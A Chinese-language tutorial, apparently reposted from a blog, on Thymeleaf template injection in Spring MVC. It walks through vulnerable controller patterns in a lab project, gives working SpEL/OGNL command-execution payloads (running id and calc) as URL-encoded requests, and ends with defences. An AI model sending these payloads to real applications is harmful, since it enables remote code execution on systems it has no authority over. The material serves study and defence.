1. 程式人生 > 實用技巧 >Thymeleaf 模板注入導致命令執行

Thymeleaf 模板注入導致命令執行

以下文章來源於Medi0cr1ty,作者medi0cr1ty 本文配合:https://github.com/veracode-research/spring-view-manipulation/ 食用更佳。 背景: Thymeleaf 是與 java 配合使用的一款服務端模板引擎,也是 spring 官方支援的一款服務端模板引擎。他支援 HTML 原型,在 HTML 標籤中增加額外的屬性來達到模板 + 資料的展示方式。預設字首:/templates/ ,預設字尾:.html 。 首先我們來熟悉一下這個漏洞發生的一些前期知識: 1、 spring mvc 及 thymeleaf 基礎
  • 下載 github 中的專案,在 idea 中匯入。(匯入時選擇 pom.xml 並以 project 的形式進行匯入,這樣他會自己去下載他的依賴,也就是 jar 包,配置 maven 這些如果有需要的話會單獨寫一篇文章。)
  • 要等他下載 jar 包完成,所以稍等一會。之後,我們來到 HelloController.java 檔案。
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
  • 這個方法名上加了 @GetMapping("/") 的註解,表示請求方法為 get 的 url 為 / 的請求會進到這個方法體裡面進行處理。
  • 在這個方法裡面,給 model 傳入了一個引數,key 為 message ,value 為 happy birthday ,這個 model 會和我們要返回的檢視名一起傳回前端。
  • 這裡的 return "welcome" 返回的是檢視名,thymeleaf 會預設加上字首 /templates 及字尾 .html ,即最終返回的檢視名就是 /templates/welcome.html ,帶上我們的資料 model 。
/templates/welcome.html:
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="
main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
  • 這裡首先將 html 的名稱空間設定為 thymeleaf ,接下來 html 文件中就可以使用 thymeleaf 中的指令了。比如接下來的 div 標籤中就有 th:fragment 、th:text 這種形式,這種就是 thymeleaf 中的指令。
  • 在倒數第三行中, ${message} 表示從 model 中取對應 key 的值,而 ${…} 這裡面是 ognl/SpringEL 表示式,比如 ${7*7} 會執行裡面運算,得到 49 ,同樣延申一下 ognl 表示式:${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ,SpringEL 表示式:${T(java.lang.Runtime).getRuntime().exec('calc')} 。${} 內部的通過 OGNL 表示式引擎解析的,外部的通過 thymeleaf 模板引擎解析 。
漏洞出現在 thymeleaf 的片段選擇器中,關於片段選擇器是什麼,通過一個小例子就會知道。 2、 片段選擇器,templatename::selector
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
  • 這裡接收一個 section 的引數,這個引數來決定我們頁面顯示哪一個部分。
  • 這裡沒有上個的 Spring Boot Web Thymeleaf example 字樣了。將 section 換為 header ,就沒有 Hello, ${message} 字樣了。
3、 漏洞詳情,thymeleaf 在解析包含 :: 的模板名時,會將其作為表示式去進行執行。
  • 官方文件中也有提到。
  • github 的文章給的 payload :__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
  • 這其中除了 __ 下劃線暫時不理解之外,其他的應該都能清楚了。後面的 .x 是不需要也可以的,或者也可以換成其他的字元。
  • __${…}__ 是 thymeleaf 中的預處理表達式,也就是會對雙下劃線包起來的表示式進行預處理。比如:#{selection.__${sel.code}__} ,這裡的話 thymeleaf 會先對 ${sel.code} 進行解析,若解析的結果為 ALL ,那麼再將其結果作為常規表示式的一部分,也即是 #{selection.ALL}
  • 所以,結合我們的 payload ,因為 payload 中包含了 :: ,也就是會將 templatename 以及 selector 作為表示式去進行執行,在這裡給的 payload 中,表示式在模板名的位置: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()} 執行 id 這條命令,因為他會進行一個預處理那麼無論他前面和後面有什麼都會先去處理這個表示式,也就都會去執行裡面的命令。
4、 實操
  • 4.1 首先看一下
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
  • 這時將 lang 引數作為模組名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
  • 執行命令並回顯。
  • 4.2 再看一下:
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
  • 這時是將 section 放在 selector 的位置。同樣是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
  • 這時沒有回顯,狀態也是 200 ,除錯之後發現,前面模板名找不到會丟擲一個異常,而這裡是將我們的 section 放到 welcome :: 後面,而這時是找到的模板名,找不到 selector ,這時他不會丟擲異常,只是沒有內容顯示了,但是命令還是會執行。
  • 也就是說,如果將 payload 改成 /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__:: 是能彈出計算器的。
  • 測試發現,payload :/fragment/?section=$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d 在這裡也是可以執行的,因為 thymeleaf 會將 templatename 、selector 分別作為表示式執行。而這個漏洞環境中,welcome :: 後面直接加的 section ,而 section 後面也沒有其他的字元影響,所以不用 __${…}__ 符號也可以。
  • 4.3 還有一種魔幻操作,
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
  • 這時返回值為空,並沒有返回檢視名,此時的檢視名會從 URI 中獲取,具體實現的程式碼在 DefaultRequestToViewNameTranslator 中的 getViewName 方法:
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
  • 故此時在 uri 中的引數新增 payload 即可。
  • 這裡的 payload 必須包裹在 __...__ 之中,且後面加上 :: ,及 .string 。至於為什麼我也沒弄明白。
5、防禦 1.1. 方法上配置 @ResponseBody 或者 @RestController
  • 這樣 spring 框架就不會將其解析為檢視名,而是直接返回。不配置的話 SpringMVC 會將業務方法的返回值傳遞給 DispatcherServlet ,再由DispatcherServlet 呼叫 ViewResolver 對返回值進行解析,對映到一個 view 資源。
  • @RestController 表示該控制器會直接將業務方法的返回值響應給客戶端,不進行檢視解析。它內部繼承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"
  • 這樣不再由 Spring ThymeleafView來進行解析,而是由 RedirectView 來進行解析。
1.3. 在方法引數中加上 HttpServletResponse 引數
  • 這樣 spring 會認為已經處理了 response ,無須再去進行檢視名的解析。在 ServletResponseMethodArgumentResolver 類中檢查了此引數。